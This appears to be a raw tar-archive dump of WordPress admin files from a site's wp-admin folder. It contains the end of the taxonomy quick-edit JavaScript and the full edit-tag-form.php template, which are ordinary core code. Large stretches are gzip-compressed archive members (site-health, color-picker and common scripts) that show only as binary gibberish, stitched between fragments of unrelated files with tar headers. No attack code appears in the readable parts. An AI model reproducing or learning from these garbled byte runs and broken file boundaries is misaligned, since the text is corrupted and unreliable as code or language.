		$(':input[name="slug"]', editRow).val( val );

		$(editRow).attr('id', 'edit-'+id).addClass('inline-editor').show();
		$('.ptitle', editRow).eq(0).trigger( 'focus' );

		return false;
	},

	/**
	 * Saves the quick edit data.
	 *
	 * Saves the quick edit data to the server and replaces the table row with the
	 * HTML retrieved from the server.
	 *
	 * @since 2.7.0
	 *
	 * @this inlineEditTax
	 * @memberof inlineEditTax
	 *
	 * @param {string|HTMLElement} id The ID of the term we want to quick edit or an
	 *                                element within the table row or the
	 * table row itself.
	 * @return {boolean} Always returns false.
	 */
	save : function(id) {
		var params, fields, tax = $('input[name="taxonomy"]').val() || '';

		// Makes sure we can pass an HTMLElement as the ID.
		if( typeof(id) === 'object' ) {
			id = this.getId(id);
		}

		$( 'table.widefat .spinner' ).addClass( 'is-active' );

		params = {
			action: 'inline-save-tax',
			tax_type: this.type,
			tax_ID: id,
			taxonomy: tax
		};

		fields = $('#edit-'+id).find(':input').serialize();
		params = fields + '&' + $.param(params);

		// Do the Ajax request to save the data to the server.
		$.post( ajaxurl, params,
			/**
			 * Handles the response from the server
			 *
			 * Handles the response from the server, replaces the table row with the response
			 * from the server.
			 *
			 * @param {string} r The string with which to replace the table row.
			 */
			function(r) {
				var row, new_id, option_value,
					$errorNotice = $( '#edit-' + id + ' .inline-edit-save .notice-error' ),
					$error = $errorNotice.find( '.error' );

				$( 'table.widefat .spinner' ).removeClass( 'is-active' );

				if (r) {
					if ( -1 !== r.indexOf( '<tr' ) ) {
						$(inlineEditTax.what+id).siblings('tr.hidden').addBack().remove();
						new_id = $(r).attr('id');

						$('#edit-'+id).before(r).remove();

						if ( new_id ) {
							option_value = new_id.replace( inlineEditTax.type + '-', '' );
							row = $( '#' + new_id );
						} else {
							option_value = id;
							row = $( inlineEditTax.what + id );
						}

						// Update the value in the Parent dropdown.
						$( '#parent' ).find( 'option[value=' + option_value + ']' ).text( row.find( '.row-title' ).text() );

						row.hide().fadeIn( 400, function() {
							// Move focus back to the Quick Edit button.
							row.find( '.editinline' )
								.attr( 'aria-expanded', 'false' )
								.trigger( 'focus' );
							wp.a11y.speak( wp.i18n.__( 'Changes saved.' ) );
						});

					} else {
						$errorNotice.removeClass( 'hidden' );
						$error.html( r );
						/*
						 * Some error strings may contain HTML entities (e.g. `&#8220`), let's use
						 * the HTML element's text.
						 */
						wp.a11y.speak( $error.text() );
					}
				} else {
					$errorNotice.removeClass( 'hidden' );
					$error.text( wp.i18n.__( 'Error while saving the changes.' ) );
					wp.a11y.speak( wp.i18n.__( 'Error while saving the changes.' ) );
				}
			}
		);

		// Prevent submitting the form when pressing Enter on a focused field.
		return false;
	},

	/**
	 * Closes the quick edit form.
	 *
	 * @since 2.7.0
	 *
	 * @this inlineEditTax
	 * @memberof inlineEditTax
	 * @return {void}
	 */
	revert : function() {
		var id = $('table.widefat tr.inline-editor').attr('id');

		if ( id ) {
			$( 'table.widefat .spinner' ).removeClass( 'is-active' );
			$('#'+id).siblings('tr.hidden').addBack().remove();
			id = id.substr( id.lastIndexOf('-') + 1 );

			// Show the taxonomy row and move focus back to the Quick Edit button.
			$( this.what + id ).show().find( '.editinline' )
				.attr( 'aria-expanded', 'false' )
				.trigger( 'focus' );
		}
	},

	/**
	 * Retrieves the ID of the term of the element inside the table row.
	 *
	 * @since 2.7.0
	 *
	 * @memberof inlineEditTax
	 *
	 * @param {HTMLElement} o An element within the table row or the table row itself.
	 * @return {string} The ID of the term based on the element.
	 */
	getId : function(o) {
		var id = o.tagName === 'TR' ? o.id : $(o).parents('tr').attr('id'), parts = id.split('-');

		return parts[parts.length - 1];
	}
};

$( function() { inlineEditTax.init(); } );

})( jQuery, window.wp );
site-health.min.js.min.js.tar.gz000064400000004410150276633100012476 0ustar00��Yk�۸���J3�lO]أ�]���9�"�D[LdR�q\��{�-[�سNv�.��Ȣ.�<<W�Ԝ�%3�H.�IɵaZW%O�D��"d�\�;����0�,7Y����k��ųg���˧Ͽ>\��^>������_�������%��o����g��Lhg*r���*����d���y�O�~�x��L�P�S�ꎕ�xQDb���no�{�A�}�E)��<�|�|��b�X�~w�Q+��D�pR��v�֓�I� �f<yNT�� ��ҡa׏r.g&�)S>�f�y��=�H�$Qe
��I���(��t�ſ���Y=�.�9���g]%
/!V� F����;�ǭ�M�F�5|^���v�(^�}�P�ҡ{�#�,|�
j{�@ �+(�� ~37�ل�ǔ�M���
�b�j�'ƍc�,��:X}�J�8B:�? ��X�1o}���i_�
{�)�:��8��:�x��x���������\sgo��ʖ�T�t�z
g`����E;�ѭ�Yd�����ۋ�@�'�nl�<"��z��7"�\xֈ��n-h_\�8���Y;�k��:x8���|y�&�$��n��f����}�^��K��%�#S�ٴ%�yQ�;�'cw?��՘)����i�Ν�0�#��L'�Y��FB�]��Q{Ւq`�����sϠ���񴉚8���`����S���;V�۔����D`�HSN�uǭ:�"���ç�׊=4��vP�v�S��$�WĊ�y���-T��2���9�!���Kr�Q{G��EIf�+�5,��ώ
9�n�<������J�^|R.����O/����~���A�=N�(�������⚷r�ɒ�g��+��C�e3��\�5��u��ܻ<�P�@|��J���0���Ts3�H���
7y5����g�>���->�k?�jp�^����5-��dO�U29�\[8�-#T"�=�~��:͔�B��[��d��Sg��nV��l@�@�UQ�P��P�y�b�=黌�r}C���U���vQH%>j��h{��J5��ѣ���x[��WSb�mY��IΩ�@
�J[>cz�$��I-2�"3���W<^ٙ�#rÆ��W�ě+��ȭ�	Kg|�JT�J�۞��K�����8:����oc��
q���̔z�	��_E�C�N&�n���qz��&����G3n^�9��B�ji;�*�#��
	�`Hi9A��T�3F�ˆ	�����?�����U��+"�#���D����k?J���>3e����߯�A
�=�6�nǠ�RfRd�v�T�gI�`����&�ہ�{�:�-w$��c�=��{���� OE�0
 ^p4��݉��h
{�I��\�-ұ֨��
�"v���]���ހE���R�2KO�B���ּ�3��#��e��-u;���<�	�?蟺}�;!%�5��wB��ȅY���ȇ+~��E�c0z��˃G����v���˼��TکJ*��~��c6��-[�SE�Y+RN��m�)��iM"�ن��@�נ��
�����p��8{O�*�ZʱK�����q��R�丬���q����J:rT2FZ8�'%�כ���7n�:�%w�,O63�ޞ	@C"+����C�~���r�܌���
5�!�1Z�6Y�y�P��Jbe��f�ϛ�niX#mv.w�4�Ir�s��"msc�t!��I$F�a2��É�p�y�o��F"�sV'J��hAT!��%��#j�؃���9
��(�#R���S��kJ�Hq J&�A׀�J�B��O�ͩ�8�:p�M�=[��d%A�r��޸)8wy|�Z�O[}�u]�_�(���{���Z˺�^F�f����{�8���Rӭ �*��Y�=b=8m{XԢF�7_�,="��R&�k@��d+^���A�";xj�h�F_x�N��Q�vR�D8�;�Eǘ-��M�4}|^��_S��}��i0�|h^�ٲ��"7N���ͷ���z%�Hixz�q6��03�v���!È遣t��8�<6na�W�W�L{[���m�h>r+
�@4`j
j9�ۇC��(�M��;�x����H/����ڟ�:/�9�6�ׇ��r���;��N��Ϭ���=�=���3"��3�D)!�Q��{=�`����0O4���g��5c
��쾟��6;�Z��25���ϑ�����?����s color-picker.js.js.tar.gz000064400000005441150276633100011321 0ustar00��Zmo�8ޯ����
�i��n��t�h7��h�ڻ�X0m��EC��fS���R%�I��v���"E�3�<3#ka�j�K�m��IR��ʲ\*���lWG2]�|�$&3��J'T�/���5���?�O���O��<}���c�7�������[|����埱�_�ܽ;w�c����{�
�&��H��yb��G��X��T�ġ�Y�3\󚖌����s53��"��|m�Ʌ�X���9Ih�;o
0\g�@�B�#�q%a���`&�R��S	~ik͑U-L���Ò�H9�� eR�i�3-L���@L��m!WW�NLn�Λ�1p��ќ���ʥ̲pϕ��/��HR�����ߞYo��4�i�BY�`	G
��"���*������=�!��3XdU)�x�ϵ*.Ŀ_2����V�R�K�

.](��T"�h2K�E��Ǥ��ou:W6�M��Nꉥ�%����)L���4P�3��{�ū�X�v�pP�B��'o�V	(�'���$��U0�)LY�&�bͷ+�)fj�Jvq"����hQn��T
�g�,�2�N1���E0�Ç��]�<��-ŅYk�L߃�%���I
�K#2I�fU�
�ќ[(�.rq�1:���A��2����|RS�![�T�|e��C�8�0�[�� �pF����d"�(>B)A
�[��pd)?��z)2��eC/�(�Q$�	��t�'���?�����0���EĊ΁��(fF›n��ْe&Л��V��k/;�z7����k|»�{�L��.�&?#\
8l!7��F���[���tH��$/���ѕ,�R\>C�;�\o~7DX�;�@�������{u'֚V7Ƅ�HoǦ};j�!�A��*�c��!o0㌈o���6o^-NOO1�XBT��L��#�ps�G���۱�\�Rh���� >߱���B�T����|�@�B�8Y"O&�Rh�̀�@��o���^����@N�,�\�V�����%����7`s��"��
�MF�
o�/U��ڨ�KWs�[m�͹�"�ӋA�݉!kB��#���J8�a�SB��.t�X���(�����L(�n�LZf�!#���~�x2DQfJ״��Ag;��ϵ?�?=��Zf�A��O��韤)���ơ?�@3���3�L�3�2QU����ʚD	�|@��B������\�cO�g����E��/��s��U�z)-8,�"�Z�20�7iNLV��\8E������ɖE��^Z;D�x��hU��@�T��X�r\_�x�-�����(�*ہg��J����T=1� *�y�=��be4���� ��i
�n*34;i�	�-�;I0g,���6��zt��R�˜ިO_�6�wiЀh��^�6�j��ؕ�x3'}	)��p��k:���E�B��H�UUs�D���ZѺ^Z�����r��v)&׍�Ќ����p8q-l���K0�/ŹL>�dWWnw�d'�#t���Ƒr
�8+��A�p߀��r�Z#7�����k��}�c2;�ֳyݡ����7�H9öd��=[�޽j@�y|V��W��f�f�T�Zc7�!��٭�*����xZ=�Jk�,5�̦�o���P�Bi�y�Qwק֙{p�R4��K�9Z|q�!��X'x�\����+jL3Q���;%��#�hBR��{���V<���r�W87[e͌�hҽ+�QW":�LAي�N�'Q�;1\�0Y)6���:����$�w�4�;U8�uTѱPU��;+�����Z�������=Oq�֯�	~��[G�c�j�����K��'֜�*ݙK�>o4�fw����i���ʐk�0�-@-h2v�_�ǭzTD��<Ϋ�#���%4NP�5J�_M�����U���HnSR@�p�Efd��;Qf�ʾH���v�mQ�P�yU=�1p�]s�4׾=�T�u��B�J,L�D��>T�
�/��´q����F��pU���~���G`��3�<�h��8��d{����Ty��X��W���s�Fdg��
�+���v�*L�x��V��u���W����!k\U~:q�(1�
�g���xa���Z���~P']b��
��@Ok/�v�!>)Х�r3]�q2��K���|.b�����Rq�Lu�	`{�T͗�Rz���O�껿G�h?j�>�E�"S�B���8]�[`���u��0��n2�M`=�幯8�d#:w�>�R�Hj�[�!]e�_H����ka���7��p�LY���՟	&���M�����ӄ���z�D���}�.R�,�|orߛǑq��mR��;��}�A3��I\���(o!�тٔ#{;X	�oB�d��E.ø���Ǝ���3��;-�^Ћ�B���1��k��'��~���~���Eގ���M�3o���Y�b���l����p��{�9��_ �s#r�����0�@���l�/Ϊ��x���q�_��|��#�����X�������ρ�f�Q�ԉ��>�H���a��D�?�A����Ɯ���/��>����2_� �^�
O��ui'gw]��I�=w�
O�9+�t#���i:�i�P���~���K�+�@-�ڈ�>����u�]e�%P�ߍ�/e����L������
�j7�лͯ��ڷ���v}�n��/�n[�.edit-tag-form.php.tar000064400000030000150276633110010476 0ustar00home/natitnen/crestassured.com/wp-admin/edit-tag-form.php000064400000024717150272070040017474 0ustar00<?php
/**
 * Edit tag form for inclusion in administration panels.
 *
 * @package WordPress
 * @subpackage Administration
 */

// Don't load directly.
if ( ! defined( 'ABSPATH' ) ) {
	die( '-1' );
}

// Back compat hooks.
if ( 'category' === $taxonomy ) {
	/**
	 * Fires before the Edit Category form.
	 *
	 * @since 2.1.0
	 * @deprecated 3.0.0 Use {@see '{$taxonomy}_pre_edit_form'} instead.
	 *
	 * @param WP_Term $tag Current category term object.
	 */
	do_action_deprecated( 'edit_category_form_pre', array( $tag ), '3.0.0', '{$taxonomy}_pre_edit_form' );
} elseif ( 'link_category' === $taxonomy ) {
	/**
	 * Fires before the Edit Link Category form.
	 *
	 * @since 2.3.0
	 * @deprecated 3.0.0 Use {@see '{$taxonomy}_pre_edit_form'} instead.
	 *
	 * @param WP_Term $tag Current link category term object.
	 */
	do_action_deprecated( 'edit_link_category_form_pre', array( $tag ), '3.0.0', '{$taxonomy}_pre_edit_form' );
} else {
	/**
	 * Fires before the Edit Tag form.
	 *
	 * @since 2.5.0
	 * @deprecated 3.0.0 Use {@see '{$taxonomy}_pre_edit_form'} instead.
	 *
	 * @param WP_Term $tag Current tag term object.
	 */
	do_action_deprecated( 'edit_tag_form_pre', array( $tag ), '3.0.0', '{$taxonomy}_pre_edit_form' );
}

/**
 * Use with caution, see https://developer.wordpress.org/reference/functions/wp_reset_vars/
 */
wp_reset_vars( array( 'wp_http_referer' ) );

$wp_http_referer = remove_query_arg( array( 'action', 'message', 'tag_ID' ), $wp_http_referer );

// Also used by Edit Tags.
require_once ABSPATH . 'wp-admin/includes/edit-tag-messages.php';

/**
 * Fires before the Edit Term form for all taxonomies.
 *
 * The dynamic portion of the hook name, `$taxonomy`, refers to
 * the taxonomy slug.
 *
 * Possible hook names include:
 *
 *  - `category_pre_edit_form`
 *  - `post_tag_pre_edit_form`
 *
 * @since 3.0.0
 *
 * @param WP_Term $tag      Current taxonomy term object.
 * @param string  $taxonomy Current $taxonomy slug.
 */
do_action( "{$taxonomy}_pre_edit_form", $tag, $taxonomy ); ?>

<div class="wrap">
<h1><?php echo $tax->labels->edit_item; ?></h1>

<?php
$class = ( isset( $msg ) && 5 === $msg ) ? 'error' : 'success';

if ( $message ) {
	$message = '<p><strong>' . $message . '</strong></p>';
	if ( $wp_http_referer ) {
		$message .= '<p><a href="' . esc_url( wp_validate_redirect( sanitize_url( $wp_http_referer ), admin_url( 'term.php?taxonomy=' . $taxonomy ) ) ) . '">' . esc_html( $tax->labels->back_to_items ) . '</a></p>';
	}
	wp_admin_notice(
		$message,
		array(
			'type'           => $class,
			'id'             => 'message',
			'paragraph_wrap' => false,
		)
	);
}
?>

<div id="ajax-response"></div>

<form name="edittag" id="edittag" method="post" action="edit-tags.php" class="validate"
<?php
/**
 * Fires inside the Edit Term form tag.
 *
 * The dynamic portion of the hook name, `$taxonomy`, refers to the taxonomy slug.
 *
 * Possible hook names include:
 *
 *  - `category_term_edit_form_tag`
 *  - `post_tag_term_edit_form_tag`
 *
 * @since 3.7.0
 */
do_action( "{$taxonomy}_term_edit_form_tag" );
?>
>
<input type="hidden" name="action" value="editedtag" />
<input type="hidden" name="tag_ID" value="<?php echo esc_attr( $tag_ID ); ?>" />
<input type="hidden" name="taxonomy" value="<?php echo esc_attr( $taxonomy ); ?>" />
<?php
wp_original_referer_field( true, 'previous' );
wp_nonce_field( 'update-tag_' . $tag_ID );

/**
 * Fires at the beginning of the Edit Term form.
 *
 * At this point, the required hidden fields and nonces have already been output.
 *
 * The dynamic portion of the hook name, `$taxonomy`, refers to the taxonomy slug.
 *
 * Possible hook names include:
 *
 *  - `category_term_edit_form_top`
 *  - `post_tag_term_edit_form_top`
 *
 * @since 4.5.0
 *
 * @param WP_Term $tag      Current taxonomy term object.
 * @param string  $taxonomy Current $taxonomy slug.
 */
do_action( "{$taxonomy}_term_edit_form_top", $tag, $taxonomy );

$tag_name_value = '';
if ( isset( $tag->name ) ) {
	$tag_name_value = esc_attr( $tag->name );
}
?>
	<table class="form-table" role="presentation">
		<tr class="form-field form-required term-name-wrap">
			<th scope="row"><label for="name"><?php _ex( 'Name', 'term name' ); ?></label></th>
			<td><input name="name" id="name" type="text" value="<?php echo $tag_name_value; ?>" size="40" aria-required="true" aria-describedby="name-description" />
			<p class="description" id="name-description"><?php echo $tax->labels->name_field_description; ?></p></td>
		</tr>
		<tr class="form-field term-slug-wrap">
			<th scope="row"><label for="slug"><?php _e( 'Slug' ); ?></label></th>
			<?php
			/**
			 * Filters the editable slug for a post or term.
			 *
			 * Note: This is a multi-use hook in that it is leveraged both for editable
			 * post URIs and term slugs.
			 *
			 * @since 2.6.0
			 * @since 4.4.0 The `$tag` parameter was added.
			 *
			 * @param string          $slug The editable slug. Will be either a term slug or post URI depending
			 *                              upon the context in which it is evaluated.
			 * @param WP_Term|WP_Post $tag  Term or post object.
			 */
			$slug = isset( $tag->slug ) ? apply_filters( 'editable_slug', $tag->slug, $tag ) : '';
			?>
			<td><input name="slug" id="slug" type="text" value="<?php echo esc_attr( $slug ); ?>" size="40" aria-describedby="slug-description" />
			<p class="description" id="slug-description"><?php echo $tax->labels->slug_field_description; ?></p></td>
		</tr>
<?php if ( is_taxonomy_hierarchical( $taxonomy ) ) : ?>
		<tr class="form-field term-parent-wrap">
			<th scope="row"><label for="parent"><?php echo esc_html( $tax->labels->parent_item ); ?></label></th>
			<td>
				<?php
				$dropdown_args = array(
					'hide_empty'       => 0,
					'hide_if_empty'    => false,
					'taxonomy'         => $taxonomy,
					'name'             => 'parent',
					'orderby'          => 'name',
					'selected'         => $tag->parent,
					'exclude_tree'     => $tag->term_id,
					'hierarchical'     => true,
					'show_option_none' => __( 'None' ),
					'aria_describedby' => 'parent-description',
				);

				/** This filter is documented in wp-admin/edit-tags.php */
				$dropdown_args = apply_filters( 'taxonomy_parent_dropdown_args', $dropdown_args, $taxonomy, 'edit' );
				wp_dropdown_categories( $dropdown_args );
				?>
				<?php if ( 'category' === $taxonomy ) : ?>
					<p class="description" id="parent-description"><?php _e( 'Categories, unlike tags, can have a hierarchy. You might have a Jazz category, and under that have children categories for Bebop and Big Band. Totally optional.' ); ?></p>
				<?php else : ?>
					<p class="description" id="parent-description"><?php echo $tax->labels->parent_field_description; ?></p>
				<?php endif; ?>
			</td>
		</tr>
<?php endif; // is_taxonomy_hierarchical() ?>
		<tr class="form-field term-description-wrap">
			<th scope="row"><label for="description"><?php _e( 'Description' ); ?></label></th>
			<td><textarea name="description" id="description" rows="5" cols="50" class="large-text" aria-describedby="description-description"><?php echo $tag->description; // textarea_escaped ?></textarea>
			<p class="description" id="description-description"><?php echo $tax->labels->desc_field_description; ?></p></td>
		</tr>
		<?php
		// Back compat hooks.
		if ( 'category' === $taxonomy ) {
			/**
			 * Fires after the Edit Category form fields are displayed.
			 *
			 * @since 2.9.0
			 * @deprecated 3.0.0 Use {@see '{$taxonomy}_edit_form_fields'} instead.
			 *
			 * @param WP_Term $tag Current category term object.
			 */
			do_action_deprecated( 'edit_category_form_fields', array( $tag ), '3.0.0', '{$taxonomy}_edit_form_fields' );
		} elseif ( 'link_category' === $taxonomy ) {
			/**
			 * Fires after the Edit Link Category form fields are displayed.
			 *
			 * @since 2.9.0
			 * @deprecated 3.0.0 Use {@see '{$taxonomy}_edit_form_fields'} instead.
			 *
			 * @param WP_Term $tag Current link category term object.
			 */
			do_action_deprecated( 'edit_link_category_form_fields', array( $tag ), '3.0.0', '{$taxonomy}_edit_form_fields' );
		} else {
			/**
			 * Fires after the Edit Tag form fields are displayed.
			 *
			 * @since 2.9.0
			 * @deprecated 3.0.0 Use {@see '{$taxonomy}_edit_form_fields'} instead.
			 *
			 * @param WP_Term $tag Current tag term object.
			 */
			do_action_deprecated( 'edit_tag_form_fields', array( $tag ), '3.0.0', '{$taxonomy}_edit_form_fields' );
		}
		/**
		 * Fires after the Edit Term form fields are displayed.
		 *
		 * The dynamic portion of the hook name, `$taxonomy`, refers to
		 * the taxonomy slug.
		 *
		 * Possible hook names include:
		 *
		 *  - `category_edit_form_fields`
		 *  - `post_tag_edit_form_fields`
		 *
		 * @since 3.0.0
		 *
		 * @param WP_Term $tag      Current taxonomy term object.
		 * @param string  $taxonomy Current taxonomy slug.
		 */
		do_action( "{$taxonomy}_edit_form_fields", $tag, $taxonomy );
		?>
	</table>
<?php
// Back compat hooks.
if ( 'category' === $taxonomy ) {
	/** This action is documented in wp-admin/edit-tags.php */
	do_action_deprecated( 'edit_category_form', array( $tag ), '3.0.0', '{$taxonomy}_add_form' );
} elseif ( 'link_category' === $taxonomy ) {
	/** This action is documented in wp-admin/edit-tags.php */
	do_action_deprecated( 'edit_link_category_form', array( $tag ), '3.0.0', '{$taxonomy}_add_form' );
} else {
	/**
	 * Fires at the end of the Edit Term form.
	 *
	 * @since 2.5.0
	 * @deprecated 3.0.0 Use {@see '{$taxonomy}_edit_form'} instead.
	 *
	 * @param WP_Term $tag Current taxonomy term object.
	 */
	do_action_deprecated( 'edit_tag_form', array( $tag ), '3.0.0', '{$taxonomy}_edit_form' );
}
/**
 * Fires at the end of the Edit Term form for all taxonomies.
 *
 * The dynamic portion of the hook name, `$taxonomy`, refers to the taxonomy slug.
 *
 * Possible hook names include:
 *
 *  - `category_edit_form`
 *  - `post_tag_edit_form`
 *
 * @since 3.0.0
 *
 * @param WP_Term $tag      Current taxonomy term object.
 * @param string  $taxonomy Current taxonomy slug.
 */
do_action( "{$taxonomy}_edit_form", $tag, $taxonomy );
?>

<div class="edit-tag-actions">

	<?php submit_button( __( 'Update' ), 'primary', null, false ); ?>

	<?php if ( current_user_can( 'delete_term', $tag->term_id ) ) : ?>
		<span id="delete-link">
			<a class="delete" href="<?php echo esc_url( admin_url( wp_nonce_url( "edit-tags.php?action=delete&taxonomy=$taxonomy&tag_ID=$tag->term_id", 'delete-tag_' . $tag->term_id ) ) ); ?>"><?php _e( 'Delete' ); ?></a>
		</span>
	<?php endif; ?>

</div>

</form>
</div>

<?php if ( ! wp_is_mobile() ) : ?>
<script type="text/javascript">
try{document.forms.edittag.name.focus();}catch(e){}
</script>
	<?php
endif;
common.js.js.tar.gz000064400000036413150276633110010224 0ustar00��}�{�Ʊh�����TMR��!Yn�i}N��Js��:	J�A�@�j����s_(ʱ����뉸����������Y�Hw��ɚ"-v�UZ7I]��t6���݋�8�-�b��z~/�b�S���ۃ}�ag��G�ݿ����{�>������~��g�n:��[��+�������m�d�R���1��

v��w�dN��$�M�6��i�2m��8���ͪ��<������<�#�LNӢ������2_-�zdj����2m�fb�f��ͷe5{8Y����6YY$y�\��4�Yj.�bV^L�3��/ˤJ��g�V�W掑\`ʓ��i3	�>��+�
��~;�/�7��ʬ�Y:ϊtf�)V5�hh�94wF���k�c~��:O*sgVNW��h̑�34���h{k뎌OU�7W�����	Q�WPu��d���W���^VY�̽r)9��>>�ʋ�$�I�������Y���i���U��m�T0��Ίij�O�O��H�S7��}�U�H��S��MKǒ�(�Z���U
�3���.�2P7�o��^�t�'Ӕ@ܞP}V��9K�Ss(i܎�~z���o�v�#��(�n���0���fh!��ёi.�)����|�'�6��- ��J�:O�����y��.S��������$�F��(o�
��y~0�Eo!.�4���6Y�C��^7���Է���iQ7i2��,|���V
?w���L�C7�k�7_�]sf�x�Ur�dyr��k��K���.᫋�Π�FW��b`�\ד����m:V�A��G�=�B?ʄ~4D),d�C��P�P���^x��&�̗���+:+���P����b���>���co���*mVU�f�M�v��5�?%�e��.s(�n���ס���|�܀N^���Ї�����dz�(�J����~�G�Q��zb�G��w���.6‘�1$��q!���1�r|/^�{���i��K'[�N,��ԆDD̂v����!�_�+nᱎ�v�9S3���n�.M�	'f�v �cG�;ƿN�9AV[��"M��y~�L_��t�ؓ%����C�A�=z�~�,S�G��U��/?�qO��́�/βz�յ��/O�u�eZ��(}�L��l#et
�I}�d0j�	6�VA[�n@���
@u�|Q�ٕV!��b��q��Z9��n�*��y��!�
�9���i�Z~��v!�e3E�iS��GRe�K��M��PmO��Q;٨����G��D��dzy\�y�U��-�'I�|^��)0��ߏ��LWJ��HÒ�\�_�MXX�$�:������ �ٞ��Y�U�9�ʑ:؏���XP���
���5�7a�ɪ9����ײ�I
���"/�Y��yg1�b7<�fA�{�Ľ�'@�IN���(_��Bp�*_�E���-^K�˺�o�hDy��CD��*&г�AA��Yvz���W󬪁�P(��"�XWOb��'=� ȷP�	#��tyhP�uM=O��̱�w;q������GK��S�נ�;��g�M_?�e�W&�<>K��T�Y9=Κ<�9�?�۴@��{��#���_��H}/W���)���P
c��Q��%=v��/A��6��"�u���3�pB���k���,�@�b������d[�����<M��#��HN���R�ʛ��y�eq�%t�����ڞe����Eب꽠�Ǜ��U��t�%��o"fޮc��]2NgO=��j�Qz��_F��2�q[�p(ai}�:ɳ��y��|L=�K_�i�x���n�
�J���%=hS��f++���ؙ�%������<���Ăg��o�|:�l_��X&u}QVʠ����r�e�G~�W)�7L�8}�K`uI��_&��ۓ	�������h,+`9)��!6E�m����Ҽ��j�/ą�kX���A6s��e�[�Ӭ@�{��=���\�*+�DM U)rqŢ�%9�K��'�-#E׸=8��/�z/���`,�s4C��U��:���}m�ٽ<�VL� �!r��0��^;��_vLY�l����V�N@�C�g���cß���'mBӟ�x|�<�y��l�8)�,���Z�P�֯g��fe�2n��
����]���,���5T��ي��1�2xE�|�Q�-eED����v��<=ͻ*��yY�ZR�u��]��]4I�"����a␙~�䷷n[��g����5�\q+�s��T*e	S.qh����?���Ҿ,���ڤ�xm,~d�9)�`�%^o_�
�'UӤ�N�_ҘY%���61���Y�G��\�z;�`Sm������
�v;�P��R����xsrg8���<�1�H:�}2;ע�v&x?6�" �6��!v��nwF
k(i&�I.7Jt%%x3��`����Nl"�C�?��'�Ǝ�`���ɗI������p�'pE��#GP��8і�-����j�&��p�:�3ĭ�$���H>4�nd�z��V��͝�/^�@�֏��-��P�-j2mqف�IEL*L)E	�?�
��U�B{��0��S�܃/���Dq�<�3��h"���R���z	4��Ct��֥��q�#���; ��\0���$��׿R5a��4��BX�1iw��KX
���w�[`��,�6��wC�$�٦�����֍���-�\OQ�b\j���7E���xrI0�f"��-����&�P����t1��2��v��p9�٧tD��f̨&�i3ܙ�Tf�xG�6D�Y3�ηyU.֞p�A��V�q�$�C�v�I@Tx���=A��[�<&,�U�0�:�v&�����*1�l�̐�j��f��y�C�5’<-N�336��� ��>E�x�d���]H�����,��	[AK��YZEG����4��9�4��g1cZ�Φ���P�Wn�a-P�q��ոe0�:}V4t�'MS���}a/�{f��@'P�ƙ4%��p���P�3o!��Q��Ì=>T8�;�w�䈯§J���*��@��W��Ƥ�e���{I��+���@��w.�ܟN�2O��
�u,�	U���i�9��A�P��aL��2�����O<�U��-8����<�:�H]�<���b�j��-B�1r���`@;��y���
�� �F�#ױ0�J�8s��5hv)���l�j�q�&ѬN��f%r��m��Ш@Y�Q�p�փpY.ǫ%�U���5�s�U��EE��e~��=/P0���"G����Xpu���l��t�=z��$����Nz3�����LY�C�K3%\a��[��CCޢ��\A$'�,2��m嗺��a�t!�e��L
��cDf�4)��@
_��C����d�~@�ZS.G����<���2�����i?O@iig��M�B�YM��aWN�'���<�T���l����ǯv���ߖ�Z��5�ZR��qmϔ��rp�"�[F�{-��-�%�X�Y���?Y�翑�xA	��G�/����ԟ��+�Q/�j� �XGЄJ6!,1A��hq�FD�#�԰Q{��~��ۢ�?���E*���XȎ��D��&�mb�d�,��8]�J
���fy�O�N�v�I��d!0`�'�7x5�ma�X��Ρ`d��M+TP�q�;f��rc\i���|���%bin�� ��!*����H�0x5�D���8�sh�+	S+bv�]�;�t~}�j���U1'r�5�*s'=ɲ��:=�6��Uc-*":
�. 	��.$��v�M
j�λ�V�~B3�?*�����V�c��20��E:���4�_�F"if��N��v<�g
�U���@����P��
{��nOOI�Ũ?�@�$}0�~N`�)�}�A��$b
{��6f�
�=�:���$l����r�Cw���tݢ=�|��GYV�97B���^�A�L�E���"Z�~M��js��M��Ų��?K�%���r��	HW&%ᛉ(��-�]�@	q��c�|����A�oSj�l�'z6~�b�B:g񄝖�����,
h\��.�3лDs��Po�$ >Wi2�$���a>q`:'�&�#0��i�/�qÇ}�5�� �"Z
{D�	>�l�.�f�[��O��y�J�9�a>/��NHg1��� �SόFF��Z��q�YF�!�ܶu����a5E s�%�j6<�<c_���ȱS4��AІw��D�Q�ֿ�RD_����J����֏�lَP%�����1-��Q
�Y��_�Z��v
��im��&6�u�fb�w�c�a��
��\�iEx�T� ���(�إ^ȭ1�hH,�B"�P�>Or<?=[��Tv�B��3�oA39_��4�9�V,����=I�<�/�o�u�7yN�f�JQ�4��y;���n������kJ'o\��M�_ޮ�-&��9Kj��LĹ�1y
'���΍婳��MZ�=�}���©#�|n?�k`^��Ѿ5�j�;���;<K��Ç��ֹ�-`�j��i^r��s%��3�s���|f��YdZ� �4^l�5X�KHD0�}
�#��	h��s��Y3$Yw1t�$�qYvb�]�*�b
W	jo�6���n��>EP	�m	܊[.f��ѻ���^7�kW��	x��b0e�����V����n��n‹,_x~R��y7K`f�:���������2�
��n
��a��
��d��H���w:X�P��xv�sfV5����wf�0	?��y
�an�|"� ������^,�
8C�]Q��T
���e0U���u�H��>�)����3h��'��FB��E]}	�>���0	�l>8.ZW܏E}�If����f�K:��gzE hFT��>z��Ƴk,����f�upYZ�ͦS�}�^�tF����I�`&7��X*��y�L�D���a�8,�NB��5��D���(�]���L?[QӨM?��`$�n,�rW�4�8F�H�����kG�Y���04{�;��%�v��z�`���Fc���&Kj���\���t��3�,�L��>b{@E ��7Y�q��&�+賋<oF�i!.O�8E�����W�������L��W1��L�s-]v��{x6�V�&01���1@�w��;�p�ЦsN��:j�|م����+�~b9
eb�)�wd0"v�.S�F����$����z��8[��
����ˋG|]�&7��}�{Y2w��5f���h�c�vR�?ُ��fV?{��v�ge����Hf���.�rM�xγS�Ey�ڔjY���U%y\u4r�@ڡ؂i�O�׬��U�T�
.��
��my�5�_Zg?h��-��z�~�P��ጥR�6e���~��R5xQ.WK�^I�^%ߑ*"�������9�e��6�ڄL�'囱��m�X~m�M����yj��H�rZ�y�B�.4�#�Ɋ"��0ǔ��!����lPW������$�?��/�k�����������H�	׊�0�(V�a����ϰ��b�Bt�-�lO ;#�"�`o�llF���A�����1:�`�
"��lܯ���ɾ���)&��Yc�_{��P5,V�p�2%ZJ�e�M��t��%�i��x7��I���A2`��=tłA�}汤b���h��-��M�vl
